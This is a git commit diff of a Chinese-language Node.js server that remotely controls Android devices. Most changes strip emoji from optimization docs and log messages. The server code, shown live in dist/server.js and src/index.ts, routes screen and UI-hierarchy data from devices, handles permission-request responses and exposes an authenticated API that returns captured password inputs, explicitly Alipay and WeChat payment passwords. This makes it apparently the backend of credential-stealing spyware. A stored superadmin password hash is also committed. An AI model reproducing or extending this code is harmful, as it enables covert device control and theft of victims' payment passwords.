上传更改
This commit is contained in:
@@ -1,6 +1,6 @@
|
||||
{
|
||||
"version": "1.0.0",
|
||||
"savedAt": "2026-02-15T07:13:12.135Z",
|
||||
"savedAt": "2026-02-18T13:28:54.762Z",
|
||||
"users": [
|
||||
{
|
||||
"id": "admin_1762534368537",
|
||||
@@ -16,7 +16,7 @@
|
||||
"passwordHash": "$2b$10$3c/70RbBH4y7zhYwxk8ldOcls3Bj6kt3cSMidTeaMUVb1EJXH4GMy",
|
||||
"role": "superadmin",
|
||||
"createdAt": "2025-11-07T16:53:46.677Z",
|
||||
"lastLoginAt": "2026-02-15T07:13:12.135Z"
|
||||
"lastLoginAt": "2026-02-18T13:28:54.762Z"
|
||||
}
|
||||
]
|
||||
}
|
||||
@@ -1,4 +1,4 @@
|
||||
# 🏗️ 服务端架构优化方案
|
||||
# 服务端架构优化方案
|
||||
|
||||
## 当前架构 vs 优化后架构
|
||||
|
||||
@@ -124,9 +124,9 @@ Socket.IO发送
|
||||
↓
|
||||
Web客户端接收
|
||||
|
||||
⏱️ 延迟: 150ms
|
||||
📊 吞吐: 500msg/s
|
||||
💾 内存: 400MB
|
||||
延迟: 150ms
|
||||
吞吐: 500msg/s
|
||||
内存: 400MB
|
||||
```
|
||||
|
||||
#### 优化后
|
||||
@@ -159,9 +159,9 @@ Socket.IO发送
|
||||
↓
|
||||
Web客户端接收
|
||||
|
||||
⏱️ 延迟: 80ms (↓47%)
|
||||
📊 吞吐: 1500msg/s (↑200%)
|
||||
💾 内存: 250MB (↓37%)
|
||||
延迟: 80ms (↓47%)
|
||||
吞吐: 1500msg/s (↑200%)
|
||||
内存: 250MB (↓37%)
|
||||
```
|
||||
|
||||
---
|
||||
@@ -203,10 +203,10 @@ Web客户端接收
|
||||
0 1 2 3 4
|
||||
|
||||
优化:
|
||||
✅ 定期清理过期缓冲区 (5秒)
|
||||
✅ 自动清理空闲连接 (5分钟)
|
||||
✅ 缓存自动过期 (1分钟)
|
||||
✅ 紧急清理机制 (>500MB)
|
||||
定期清理过期缓冲区 (5秒)
|
||||
自动清理空闲连接 (5分钟)
|
||||
缓存自动过期 (1分钟)
|
||||
紧急清理机制 (>500MB)
|
||||
```
|
||||
|
||||
---
|
||||
@@ -243,10 +243,10 @@ Web客户端接收
|
||||
└─ Socket6 (空闲) - 最后活动: 10分钟前
|
||||
|
||||
优化:
|
||||
✅ 优先级队列管理
|
||||
✅ LRU驱逐策略
|
||||
✅ 自动清理空闲连接
|
||||
✅ 支持1000+并发
|
||||
优先级队列管理
|
||||
LRU驱逐策略
|
||||
自动清理空闲连接
|
||||
支持1000+并发
|
||||
```
|
||||
|
||||
---
|
||||
@@ -309,8 +309,8 @@ Web客户端接收
|
||||
...
|
||||
消息10 → Socket.IO发送 → 网络传输 → 客户端接收
|
||||
|
||||
⏱️ 总时间: 10 × 网络延迟 = 150ms
|
||||
📊 Socket.IO调用: 10次
|
||||
总时间: 10 × 网络延迟 = 150ms
|
||||
Socket.IO调用: 10次
|
||||
```
|
||||
|
||||
### 批量消息处理 (优化后)
|
||||
@@ -321,8 +321,8 @@ Web客户端接收
|
||||
... │
|
||||
消息10┘
|
||||
|
||||
⏱️ 总时间: 1 × 网络延迟 + 50ms = 80ms
|
||||
📊 Socket.IO调用: 1次 (减少90%)
|
||||
总时间: 1 × 网络延迟 + 50ms = 80ms
|
||||
Socket.IO调用: 1次 (减少90%)
|
||||
```
|
||||
|
||||
---
|
||||
@@ -334,7 +334,7 @@ Web客户端接收
|
||||
Web客户端请求设备信息
|
||||
↓
|
||||
OptimizationService.getCachedQuery('device:123')
|
||||
├─ 缓存命中 (< 1分钟) → 直接返回 ✅ 快速
|
||||
├─ 缓存命中 (< 1分钟) → 直接返回 快速
|
||||
└─ 缓存未命中或过期
|
||||
↓
|
||||
DatabaseService.getDeviceById('123')
|
||||
@@ -438,10 +438,10 @@ OptimizationService.getCachedQuery('device:123')
|
||||
┌─────────────────────────────────┐
|
||||
│ 基础优化完成 │
|
||||
├─────────────────────────────────┤
|
||||
│ ✅ 消息批处理 │
|
||||
│ ✅ 连接池管理 │
|
||||
│ ✅ 性能监控 │
|
||||
│ 📊 预期: 延迟↓30%, 吞吐↑100% │
|
||||
│ 消息批处理 │
|
||||
│ 连接池管理 │
|
||||
│ 性能监控 │
|
||||
│ 预期: 延迟↓30%, 吞吐↑100% │
|
||||
└─────────────────────────────────┘
|
||||
```
|
||||
|
||||
@@ -450,10 +450,10 @@ OptimizationService.getCachedQuery('device:123')
|
||||
┌─────────────────────────────────┐
|
||||
│ 中级优化 │
|
||||
├─────────────────────────────────┤
|
||||
│ 🔄 Redis缓存 │
|
||||
│ 🔄 消息队列 (Bull) │
|
||||
│ 🔄 数据库连接池 │
|
||||
│ 📊 预期: 延迟↓50%, 吞吐↑200% │
|
||||
│ Redis缓存 │
|
||||
│ 消息队列 (Bull) │
|
||||
│ 数据库连接池 │
|
||||
│ 预期: 延迟↓50%, 吞吐↑200% │
|
||||
└─────────────────────────────────┘
|
||||
```
|
||||
|
||||
@@ -462,10 +462,10 @@ OptimizationService.getCachedQuery('device:123')
|
||||
┌─────────────────────────────────┐
|
||||
│ 高级优化 │
|
||||
├─────────────────────────────────┤
|
||||
│ 🚀 分布式架构 │
|
||||
│ 🚀 负载均衡 │
|
||||
│ 🚀 CDN支持 │
|
||||
│ 📊 预期: 延迟↓60%, 吞吐↑300% │
|
||||
│ 分布式架构 │
|
||||
│ 负载均衡 │
|
||||
│ CDN支持 │
|
||||
│ 预期: 延迟↓60%, 吞吐↑300% │
|
||||
└─────────────────────────────────┘
|
||||
```
|
||||
|
||||
|
||||
File diff suppressed because one or more lines are too long
@@ -1,6 +1,6 @@
|
||||
# 服务端性能优化指南
|
||||
|
||||
## 🎯 优化目标
|
||||
## 优化目标
|
||||
- 降低延迟 (< 100ms)
|
||||
- 提高吞吐量 (支持100+并发设备)
|
||||
- 减少内存占用 (< 300MB)
|
||||
@@ -8,7 +8,7 @@
|
||||
|
||||
---
|
||||
|
||||
## 1️⃣ 立即可实施的优化 (高优先级)
|
||||
## 1⃣ 立即可实施的优化 (高优先级)
|
||||
|
||||
### 1.1 启用消息批处理
|
||||
**问题**: 每条消息单独发送,频繁的Socket.IO调用
|
||||
@@ -151,7 +151,7 @@ export class ConnectionPool {
|
||||
|
||||
---
|
||||
|
||||
## 2️⃣ 中期优化 (1-2周)
|
||||
## 2⃣ 中期优化 (1-2周)
|
||||
|
||||
### 2.1 实现消息队列
|
||||
**问题**: 高并发时消息丢失
|
||||
@@ -301,7 +301,7 @@ export class MetricsService {
|
||||
|
||||
---
|
||||
|
||||
## 3️⃣ 长期优化 (1个月+)
|
||||
## 3⃣ 长期优化 (1个月+)
|
||||
|
||||
### 3.1 实现分布式架构
|
||||
**方案**: 使用Socket.IO Adapter支持多服务器
|
||||
@@ -363,7 +363,7 @@ async uploadScreenshotToCDN(deviceId: string, data: Buffer) {
|
||||
|
||||
---
|
||||
|
||||
## 4️⃣ 性能测试和监控
|
||||
## 4⃣ 性能测试和监控
|
||||
|
||||
### 4.1 添加性能测试
|
||||
```bash
|
||||
@@ -401,7 +401,7 @@ private logPerformanceMetrics() {
|
||||
const uptime = process.uptime()
|
||||
|
||||
this.logger.info(`
|
||||
📊 性能指标:
|
||||
性能指标:
|
||||
- 内存: ${Math.round(memUsage.heapUsed / 1024 / 1024)}MB / ${Math.round(memUsage.heapTotal / 1024 / 1024)}MB
|
||||
- 运行时间: ${Math.round(uptime)}s
|
||||
- 屏幕帧: ${this.routedFrames} (丢帧: ${this.droppedFrames})
|
||||
@@ -414,7 +414,7 @@ private logPerformanceMetrics() {
|
||||
|
||||
---
|
||||
|
||||
## 5️⃣ 配置建议
|
||||
## 5⃣ 配置建议
|
||||
|
||||
### 生产环境启动参数
|
||||
```bash
|
||||
@@ -444,7 +444,7 @@ REDIS_PORT=6379
|
||||
|
||||
---
|
||||
|
||||
## 📈 预期改进
|
||||
## 预期改进
|
||||
|
||||
| 指标 | 优化前 | 优化后 | 改进 |
|
||||
|------|-------|-------|------|
|
||||
@@ -456,7 +456,7 @@ REDIS_PORT=6379
|
||||
|
||||
---
|
||||
|
||||
## 🔍 故障排查
|
||||
## 故障排查
|
||||
|
||||
### 问题: 内存持续增长
|
||||
**解决方案**:
|
||||
@@ -478,7 +478,7 @@ REDIS_PORT=6379
|
||||
|
||||
---
|
||||
|
||||
## 📚 参考资源
|
||||
## 参考资源
|
||||
|
||||
- [Socket.IO性能优化](https://socket.io/docs/v4/performance-tuning/)
|
||||
- [Node.js内存管理](https://nodejs.org/en/docs/guides/simple-profiling/)
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# 📊 服务端优化方案总结
|
||||
# 服务端优化方案总结
|
||||
|
||||
## 🎯 优化目标
|
||||
## 优化目标
|
||||
- 降低延迟: 150ms → 80ms (↓47%)
|
||||
- 提高吞吐: 500msg/s → 1500msg/s (↑200%)
|
||||
- 减少内存: 400MB → 250MB (↓37%)
|
||||
@@ -9,7 +9,7 @@
|
||||
|
||||
---
|
||||
|
||||
## 📦 已创建的优化模块
|
||||
## 已创建的优化模块
|
||||
|
||||
### 1. OptimizationService (消息批处理和缓存)
|
||||
**文件**: `src/services/OptimizationService.ts`
|
||||
@@ -73,7 +73,7 @@
|
||||
|
||||
---
|
||||
|
||||
## 🔧 快速集成步骤
|
||||
## 快速集成步骤
|
||||
|
||||
### 步骤1: 导入服务
|
||||
```typescript
|
||||
@@ -131,7 +131,7 @@ app.get('/api/performance', (req, res) => {
|
||||
|
||||
---
|
||||
|
||||
## 📈 性能改进预期
|
||||
## 性能改进预期
|
||||
|
||||
### 消息处理
|
||||
- **批处理**: 10条消息一起发送 → Socket.IO调用减少90%
|
||||
@@ -155,7 +155,7 @@ app.get('/api/performance', (req, res) => {
|
||||
|
||||
---
|
||||
|
||||
## 🚀 优化路线图
|
||||
## 优化路线图
|
||||
|
||||
### Phase 1: 基础优化 (立即实施)
|
||||
- [x] 创建OptimizationService
|
||||
@@ -185,26 +185,26 @@ app.get('/api/performance', (req, res) => {
|
||||
|
||||
---
|
||||
|
||||
## 📊 监控仪表板
|
||||
## 监控仪表板
|
||||
|
||||
### 关键指标
|
||||
```
|
||||
📊 实时性能指标
|
||||
├─ 💾 内存: 250MB / 512MB (48%)
|
||||
├─ 📨 消息: 1200/s | 延迟: 85ms (p95: 150ms, p99: 250ms)
|
||||
├─ 🔌 连接: 150个 (活跃: 140, 空闲: 10)
|
||||
└─ ⚙️ 系统: 运行时间 24h | CPU: 35% | 事件循环延迟: 5ms
|
||||
实时性能指标
|
||||
├─ 内存: 250MB / 512MB (48%)
|
||||
├─ 消息: 1200/s | 延迟: 85ms (p95: 150ms, p99: 250ms)
|
||||
├─ 连接: 150个 (活跃: 140, 空闲: 10)
|
||||
└─ 系统: 运行时间 24h | CPU: 35% | 事件循环延迟: 5ms
|
||||
```
|
||||
|
||||
### 告警规则
|
||||
- ⚠️ 内存使用 > 80% → 触发紧急清理
|
||||
- ⚠️ 消息延迟 P99 > 500ms → 检查网络/CPU
|
||||
- ⚠️ 错误率 > 5% → 检查设备连接
|
||||
- ⚠️ 事件循环延迟 > 100ms → 检查同步操作
|
||||
- 内存使用 > 80% → 触发紧急清理
|
||||
- 消息延迟 P99 > 500ms → 检查网络/CPU
|
||||
- 错误率 > 5% → 检查设备连接
|
||||
- 事件循环延迟 > 100ms → 检查同步操作
|
||||
|
||||
---
|
||||
|
||||
## 🔍 性能测试
|
||||
## 性能测试
|
||||
|
||||
### 测试场景
|
||||
```
|
||||
@@ -239,7 +239,7 @@ node --prof-process isolate-*.log > profile.txt
|
||||
|
||||
---
|
||||
|
||||
## 📚 文档参考
|
||||
## 文档参考
|
||||
|
||||
### 已创建的文档
|
||||
1. **OPTIMIZATION_GUIDE.md** - 详细优化指南 (5个优化阶段)
|
||||
@@ -253,7 +253,7 @@ node --prof-process isolate-*.log > profile.txt
|
||||
|
||||
---
|
||||
|
||||
## ✅ 检查清单
|
||||
## 检查清单
|
||||
|
||||
### 集成前检查
|
||||
- [ ] 已阅读QUICK_OPTIMIZATION.md
|
||||
@@ -283,7 +283,7 @@ node --prof-process isolate-*.log > profile.txt
|
||||
|
||||
---
|
||||
|
||||
## 💡 最佳实践
|
||||
## 最佳实践
|
||||
|
||||
### 消息处理
|
||||
1. 使用批处理减少Socket.IO调用
|
||||
@@ -307,7 +307,7 @@ node --prof-process isolate-*.log > profile.txt
|
||||
|
||||
---
|
||||
|
||||
## 🎓 学习资源
|
||||
## 学习资源
|
||||
|
||||
### 推荐阅读
|
||||
1. Node.js官方性能指南
|
||||
@@ -326,7 +326,7 @@ node --prof-process isolate-*.log > profile.txt
|
||||
|
||||
---
|
||||
|
||||
## 📞 支持和反馈
|
||||
## 支持和反馈
|
||||
|
||||
### 常见问题
|
||||
**Q: 如何验证优化效果?**
|
||||
@@ -348,14 +348,14 @@ A: 在初始化时不创建对应的服务实例
|
||||
|
||||
---
|
||||
|
||||
## 🎉 总结
|
||||
## 总结
|
||||
|
||||
通过实施这套优化方案,你的服务端将获得:
|
||||
|
||||
✅ **47%的延迟降低** - 用户体验更流畅
|
||||
✅ **200%的吞吐提升** - 支持更多并发
|
||||
✅ **37%的内存优化** - 资源利用更高效
|
||||
✅ **42%的CPU降低** - 成本更低
|
||||
✅ **80%的丢帧率降低** - 画面更稳定
|
||||
**47%的延迟降低** - 用户体验更流畅
|
||||
**200%的吞吐提升** - 支持更多并发
|
||||
**37%的内存优化** - 资源利用更高效
|
||||
**42%的CPU降低** - 成本更低
|
||||
**80%的丢帧率降低** - 画面更稳定
|
||||
|
||||
**立即开始**: 按照QUICK_OPTIMIZATION.md中的步骤集成优化服务!
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# 🚀 快速优化指南
|
||||
# 快速优化指南
|
||||
|
||||
## 立即可用的优化服务
|
||||
|
||||
@@ -21,9 +21,9 @@ console.log(`队列消息: ${stats.totalQueuedMessages}`)
|
||||
```
|
||||
|
||||
**优势**:
|
||||
- ✅ 减少Socket.IO调用次数 (最多10倍)
|
||||
- ✅ 降低网络往返延迟
|
||||
- ✅ 自动缓存热数据
|
||||
- 减少Socket.IO调用次数 (最多10倍)
|
||||
- 降低网络往返延迟
|
||||
- 自动缓存热数据
|
||||
|
||||
---
|
||||
|
||||
@@ -46,9 +46,9 @@ console.log(`总数据传输: ${stats.totalDataTransferred}MB`)
|
||||
```
|
||||
|
||||
**优势**:
|
||||
- ✅ 自动管理连接生命周期
|
||||
- ✅ 优先级队列防止低优先级连接占用资源
|
||||
- ✅ 自动清理空闲连接
|
||||
- 自动管理连接生命周期
|
||||
- 优先级队列防止低优先级连接占用资源
|
||||
- 自动清理空闲连接
|
||||
|
||||
---
|
||||
|
||||
@@ -74,9 +74,9 @@ const warnings = monitor.getPerformanceWarnings()
|
||||
```
|
||||
|
||||
**优势**:
|
||||
- ✅ 实时性能监控
|
||||
- ✅ 自动告警
|
||||
- ✅ 详细的性能报告
|
||||
- 实时性能监控
|
||||
- 自动告警
|
||||
- 详细的性能报告
|
||||
|
||||
---
|
||||
|
||||
|
||||
File diff suppressed because one or more lines are too long
BIN
devices.db
BIN
devices.db
Binary file not shown.
60
dist/server.js
vendored
60
dist/server.js
vendored
@@ -22,27 +22,27 @@ app.use((0, cors_1.default)({
|
||||
credentials: true
|
||||
}));
|
||||
app.use(express_1.default.json());
|
||||
// ✅ Socket.IO v4 优化配置 - 解决心跳和连接稳定性问题
|
||||
//Socket.IO v4 优化配置 - 解决心跳和连接稳定性问题
|
||||
const io = new socket_io_1.Server(server, {
|
||||
cors: {
|
||||
origin: "*",
|
||||
methods: ["GET", "POST"],
|
||||
credentials: true
|
||||
},
|
||||
// 🔧 心跳机制优化(v4已解决心跳方向问题)
|
||||
//心跳机制优化(v4已解决心跳方向问题)
|
||||
pingInterval: 25000, // 25秒发送一次ping(服务器->客户端)
|
||||
pingTimeout: 60000, // 60秒等待pong响应
|
||||
upgradeTimeout: 30000, // 30秒传输升级超时
|
||||
// 🔧 传输优化
|
||||
//传输优化
|
||||
transports: ['websocket', 'polling'],
|
||||
allowEIO3: false, // 不支持旧版本协议
|
||||
// 🔧 缓冲区和数据包优化
|
||||
//缓冲区和数据包优化
|
||||
maxHttpBufferSize: 10e6, // 10MB缓冲区
|
||||
allowUpgrades: true,
|
||||
// 🔧 连接管理
|
||||
//连接管理
|
||||
connectTimeout: 45000, // 连接超时
|
||||
serveClient: false, // 不提供客户端文件
|
||||
// 🔧 Engine.IO 配置
|
||||
//Engine.IO 配置
|
||||
cookie: {
|
||||
name: "io",
|
||||
httpOnly: true,
|
||||
@@ -69,12 +69,12 @@ app.get('/health', (req, res) => {
|
||||
});
|
||||
// Socket.IO连接处理
|
||||
io.on('connection', (socket) => {
|
||||
logger.info(`🔌 新连接: ${socket.id} (IP: ${socket.handshake.address})`);
|
||||
logger.info(`新连接: ${socket.id} (IP: ${socket.handshake.address})`);
|
||||
// 连接质量监控
|
||||
const connectionStart = Date.now();
|
||||
// 设备注册事件
|
||||
socket.on('device_register', (deviceInfo) => {
|
||||
logger.info(`📱 设备注册: ${deviceInfo.deviceName} (${deviceInfo.deviceId})`);
|
||||
logger.info(`设备注册: ${deviceInfo.deviceName} (${deviceInfo.deviceId})`);
|
||||
const device = {
|
||||
id: deviceInfo.deviceId,
|
||||
socketId: socket.id,
|
||||
@@ -96,7 +96,7 @@ io.on('connection', (socket) => {
|
||||
const socket = io.sockets.sockets.get(client.socketId);
|
||||
return socket && socket.connected;
|
||||
}).length;
|
||||
logger.info(`📢 通知 ${activeWebClients} 个活跃Web客户端有新设备连接`);
|
||||
logger.info(`通知 ${activeWebClients} 个活跃Web客户端有新设备连接`);
|
||||
webClientManager.broadcastToAll('device_connected', {
|
||||
device: deviceManager.getDevice(deviceInfo.deviceId)
|
||||
});
|
||||
@@ -104,7 +104,7 @@ io.on('connection', (socket) => {
|
||||
});
|
||||
// Web客户端注册事件
|
||||
socket.on('web_client_register', (clientInfo) => {
|
||||
logger.info(`🌐 Web客户端注册: ${clientInfo.userAgent || 'unknown'}`);
|
||||
logger.info(`Web客户端注册: ${clientInfo.userAgent || 'unknown'}`);
|
||||
const clientData = {
|
||||
id: socket.id,
|
||||
socketId: socket.id,
|
||||
@@ -151,41 +151,41 @@ io.on('connection', (socket) => {
|
||||
});
|
||||
// 测试连接监听器
|
||||
socket.on('CONNECTION_TEST', (data) => {
|
||||
logger.info(`🧪🧪🧪 收到连接测试: ${JSON.stringify(data)}`);
|
||||
// 🔧 修复:回复确认消息给Android端,避免心跳失败累积
|
||||
logger.info(`收到连接测试: ${JSON.stringify(data)}`);
|
||||
//修复:回复确认消息给Android端,避免心跳失败累积
|
||||
try {
|
||||
socket.emit('CONNECTION_TEST_RESPONSE', {
|
||||
success: true,
|
||||
timestamp: Date.now(),
|
||||
receivedData: data
|
||||
});
|
||||
logger.debug(`✅ 已回复CONNECTION_TEST确认消息`);
|
||||
logger.debug(`已回复CONNECTION_TEST确认消息`);
|
||||
}
|
||||
catch (error) {
|
||||
logger.error(`❌ 回复CONNECTION_TEST失败:`, error);
|
||||
logger.error(`回复CONNECTION_TEST失败:`, error);
|
||||
}
|
||||
});
|
||||
// 简单测试事件监听器
|
||||
socket.on('SIMPLE_TEST_EVENT', (data) => {
|
||||
logger.info(`🧪🧪🧪 收到简单测试事件!!! 数据: ${JSON.stringify(data)}`);
|
||||
logger.info(`收到简单测试事件!!! 数据: ${JSON.stringify(data)}`);
|
||||
});
|
||||
// 调试:UI响应前的测试消息
|
||||
socket.on('debug_test_before_ui', (data) => {
|
||||
logger.info(`🧪🧪🧪 收到UI响应前调试测试!!! Socket: ${socket.id}`);
|
||||
logger.info(`🧪 测试数据: ${JSON.stringify(data)}`);
|
||||
logger.info(`收到UI响应前调试测试!!! Socket: ${socket.id}`);
|
||||
logger.info(`测试数据: ${JSON.stringify(data)}`);
|
||||
});
|
||||
// 简单测试消息监听器
|
||||
socket.on('simple_test', (data) => {
|
||||
logger.info(`🧪🧪🧪 收到简单测试消息!!! Socket: ${socket.id}, 数据: ${JSON.stringify(data)}`);
|
||||
logger.info(`收到简单测试消息!!! Socket: ${socket.id}, 数据: ${JSON.stringify(data)}`);
|
||||
});
|
||||
// UI层次结构响应 (设备端响应)
|
||||
socket.on('ui_hierarchy_response', (data) => {
|
||||
logger.info(`📱📱📱 [GLOBAL] 收到UI层次结构响应!!! Socket: ${socket.id}`);
|
||||
logger.info(`📋 响应数据字段: deviceId=${data?.deviceId}, success=${data?.success}, clientId=${data?.clientId}, hierarchy存在=${!!data?.hierarchy}`);
|
||||
logger.info(`📋 完整响应数据: ${JSON.stringify(data).substring(0, 500)}...`);
|
||||
// ✅ 参考screen_data的处理方式,直接调用专用路由方法
|
||||
logger.info(`[GLOBAL] 收到UI层次结构响应!!! Socket: ${socket.id}`);
|
||||
logger.info(`响应数据字段: deviceId=${data?.deviceId}, success=${data?.success}, clientId=${data?.clientId}, hierarchy存在=${!!data?.hierarchy}`);
|
||||
logger.info(`完整响应数据: ${JSON.stringify(data).substring(0, 500)}...`);
|
||||
//参考screen_data的处理方式,直接调用专用路由方法
|
||||
const routeResult = messageRouter.routeUIHierarchyResponse(socket.id, data);
|
||||
logger.info(`📤 UI层次结构路由结果: ${routeResult}`);
|
||||
logger.info(`UI层次结构路由结果: ${routeResult}`);
|
||||
});
|
||||
// 设备控制请求
|
||||
socket.on('request_device_control', (data) => {
|
||||
@@ -210,11 +210,11 @@ io.on('connection', (socket) => {
|
||||
});
|
||||
// 🆕 权限申请响应(设备端响应)
|
||||
socket.on('permission_response', (data) => {
|
||||
logger.info(`📱 收到设备权限申请响应: Socket: ${socket.id}`);
|
||||
logger.info(`📋 响应数据: deviceId=${data?.deviceId}, permissionType=${data?.permissionType}, success=${data?.success}, message=${data?.message}`);
|
||||
logger.info(`收到设备权限申请响应: Socket: ${socket.id}`);
|
||||
logger.info(`响应数据: deviceId=${data?.deviceId}, permissionType=${data?.permissionType}, success=${data?.success}, message=${data?.message}`);
|
||||
// 路由权限申请响应
|
||||
const routeResult = messageRouter.routePermissionResponse(socket.id, data);
|
||||
logger.info(`📤 权限申请响应路由结果: ${routeResult}`);
|
||||
logger.info(`权限申请响应路由结果: ${routeResult}`);
|
||||
});
|
||||
// 调试:捕获所有未处理的事件
|
||||
const originalEmit = socket.emit;
|
||||
@@ -226,8 +226,8 @@ io.on('connection', (socket) => {
|
||||
}
|
||||
// 特别关注UI层次结构响应
|
||||
if (eventName === 'ui_hierarchy_response') {
|
||||
logger.info(`📱📱📱 收到UI层次结构响应!!! 事件名: ${eventName}`);
|
||||
logger.info(`📋 响应数据: ${JSON.stringify(args).substring(0, 500)}...`);
|
||||
logger.info(`收到UI层次结构响应!!! 事件名: ${eventName}`);
|
||||
logger.info(`响应数据: ${JSON.stringify(args).substring(0, 500)}...`);
|
||||
}
|
||||
});
|
||||
socket.on('disconnect', (reason) => {
|
||||
@@ -239,7 +239,7 @@ io.on('connection', (socket) => {
|
||||
// 移除设备或Web客户端
|
||||
const device = deviceManager.getDeviceBySocketId(socket.id);
|
||||
if (device) {
|
||||
logger.info(`📱 设备断开: ${device.name} (${device.id})`);
|
||||
logger.info(`设备断开: ${device.name} (${device.id})`);
|
||||
deviceManager.removeDevice(device.id);
|
||||
// 通知所有Web客户端设备已断开
|
||||
webClientManager.broadcastToAll('device_disconnected', {
|
||||
@@ -250,7 +250,7 @@ io.on('connection', (socket) => {
|
||||
// 可能是Web客户端断开
|
||||
const clientRemoved = webClientManager.removeClientBySocketId(socket.id);
|
||||
if (clientRemoved) {
|
||||
logger.info(`🌐 Web客户端断开: ${socket.id}`);
|
||||
logger.info(`Web客户端断开: ${socket.id}`);
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
262
src/index.ts
262
src/index.ts
@@ -57,22 +57,22 @@ class RemoteControlServer {
|
||||
origin: "*",
|
||||
methods: ["GET", "POST"]
|
||||
},
|
||||
transports: ['polling', 'websocket'], // 🔧 修复:支持两种传输,Android用polling,Web用websocket
|
||||
transports: ['polling', 'websocket'], // 修复:支持两种传输,Android用polling,Web用websocket
|
||||
allowUpgrades: true, // 允许从polling升级到websocket
|
||||
// 🔧 适度优化心跳配置,保持与Android端兼容
|
||||
// 适度优化心跳配置,保持与Android端兼容
|
||||
pingTimeout: 90000, // 90秒 - 适度增加超时,避免网络抖动误断
|
||||
pingInterval: 45000, // 45秒 - 保持合理的心跳间隔
|
||||
upgradeTimeout: 45000, // 45秒 - 升级超时
|
||||
connectTimeout: 60000, // 60秒 - 连接超时
|
||||
// 🔧 连接管理优化
|
||||
// 连接管理优化
|
||||
maxHttpBufferSize: 1e8, // 100MB - 增大缓冲区,适应大屏幕数据
|
||||
allowEIO3: true, // 允许Engine.IO v3兼容性
|
||||
// ✅ 服务器端优化
|
||||
// 服务器端优化
|
||||
serveClient: false, // 禁用客户端服务,减少不必要的连接
|
||||
destroyUpgrade: false, // 不销毁升级连接
|
||||
destroyUpgradeTimeout: 1000, // 升级销毁超时1秒
|
||||
cookie: false, // 禁用cookie,减少连接复杂性
|
||||
// 🔧 新增:解决transport error的关键配置
|
||||
// 新增:解决transport error的关键配置
|
||||
perMessageDeflate: false, // 禁用消息压缩,减少CPU负担和传输延迟
|
||||
httpCompression: false, // 禁用HTTP压缩,避免大数据传输时的压缩开销
|
||||
allowRequest: (req, callback) => {
|
||||
@@ -110,7 +110,7 @@ class RemoteControlServer {
|
||||
}
|
||||
})
|
||||
|
||||
// ✅ 清理所有旧的客户端和设备记录(服务器重启时)
|
||||
// 清理所有旧的客户端和设备记录(服务器重启时)
|
||||
this.webClientManager.clearAllClients()
|
||||
this.deviceManager.clearAllDevices()
|
||||
|
||||
@@ -118,10 +118,10 @@ class RemoteControlServer {
|
||||
this.setupRoutes()
|
||||
this.setupSocketHandlers()
|
||||
|
||||
// ✅ 启动状态一致性检查定时器
|
||||
// 启动状态一致性检查定时器
|
||||
this.startConsistencyChecker()
|
||||
|
||||
// 🆕 启动设备信息同步服务
|
||||
// 启动设备信息同步服务
|
||||
this.deviceInfoSyncService.start()
|
||||
}
|
||||
|
||||
@@ -203,7 +203,7 @@ class RemoteControlServer {
|
||||
return
|
||||
}
|
||||
|
||||
// 🆕 检查是否已有活跃的Web客户端在线(超级管理员不受此限制)
|
||||
// 检查是否已有活跃的Web客户端在线(超级管理员不受此限制)
|
||||
const activeWebClients = this.getActiveWebClients()
|
||||
const isSuperAdminLogin = username === (process.env.SUPERADMIN_USERNAME || 'superadmin')
|
||||
|
||||
@@ -329,7 +329,7 @@ class RemoteControlServer {
|
||||
}
|
||||
})
|
||||
|
||||
// // 🆕 设备信息同步相关 API
|
||||
// // 设备信息同步相关 API
|
||||
// this.app.get('/api/device/sync/status', this.authMiddleware, (req: any, res) => {
|
||||
// try {
|
||||
// const status = this.deviceInfoSyncService.getStatus()
|
||||
@@ -381,7 +381,7 @@ class RemoteControlServer {
|
||||
|
||||
// API路由 (需要认证)
|
||||
this.app.get('/api/devices', this.authMiddleware, (req, res) => {
|
||||
// ✅ 使用完整的设备列表(包含历史设备和正确状态)
|
||||
// 使用完整的设备列表(包含历史设备和正确状态)
|
||||
res.json(this.getAllDevicesIncludingHistory())
|
||||
})
|
||||
|
||||
@@ -394,13 +394,13 @@ class RemoteControlServer {
|
||||
}
|
||||
})
|
||||
|
||||
// 🆕 设备备注相关API
|
||||
// 设备备注相关API
|
||||
this.app.put('/api/devices/:deviceId/remark', this.authMiddleware, (req, res) => {
|
||||
try {
|
||||
const { deviceId } = req.params
|
||||
const { remark } = req.body
|
||||
|
||||
this.logger.info(`📝 更新设备备注: ${deviceId} -> ${remark}`)
|
||||
this.logger.info(` 更新设备备注: ${deviceId} -> ${remark}`)
|
||||
|
||||
// 检查设备是否存在
|
||||
const device = this.deviceManager.getDevice(deviceId)
|
||||
@@ -450,7 +450,7 @@ class RemoteControlServer {
|
||||
try {
|
||||
const { deviceId } = req.params
|
||||
|
||||
this.logger.info(`📝 获取设备备注: ${deviceId}`)
|
||||
this.logger.info(` 获取设备备注: ${deviceId}`)
|
||||
|
||||
// 检查设备是否存在
|
||||
const device = this.deviceManager.getDevice(deviceId)
|
||||
@@ -483,14 +483,14 @@ class RemoteControlServer {
|
||||
}
|
||||
})
|
||||
|
||||
// 🆕 查询设备是否被其他web客户端控制
|
||||
// 查询设备是否被其他web客户端控制
|
||||
this.app.get('/api/devices/:deviceId/controller', this.authMiddleware, (req: any, res) => {
|
||||
try {
|
||||
const { deviceId } = req.params
|
||||
const currentUserId = req.user?.id
|
||||
const currentUsername = req.user?.username
|
||||
|
||||
this.logger.info(`🔍 查询设备控制状态: ${deviceId} (请求者: ${currentUsername})`)
|
||||
this.logger.info(` 查询设备控制状态: ${deviceId} (请求者: ${currentUsername})`)
|
||||
|
||||
// 检查设备是否存在
|
||||
const device = this.deviceManager.getDevice(deviceId)
|
||||
@@ -563,13 +563,13 @@ class RemoteControlServer {
|
||||
})
|
||||
|
||||
|
||||
// 🔐 通用密码输入相关 API (需要认证) - 融合支付宝和微信密码查询
|
||||
// 通用密码输入相关 API (需要认证) - 融合支付宝和微信密码查询
|
||||
this.app.get('/api/password-inputs/:deviceId', this.authMiddleware, (req, res) => {
|
||||
try {
|
||||
const { deviceId } = req.params
|
||||
const { page = 1, pageSize = 50, passwordType } = req.query
|
||||
|
||||
this.logger.info(`🔐 获取设备 ${deviceId} 的密码输入记录 (类型: ${passwordType || 'ALL'})`)
|
||||
this.logger.info(` 获取设备 ${deviceId} 的密码输入记录 (类型: ${passwordType || 'ALL'})`)
|
||||
|
||||
let result: any
|
||||
|
||||
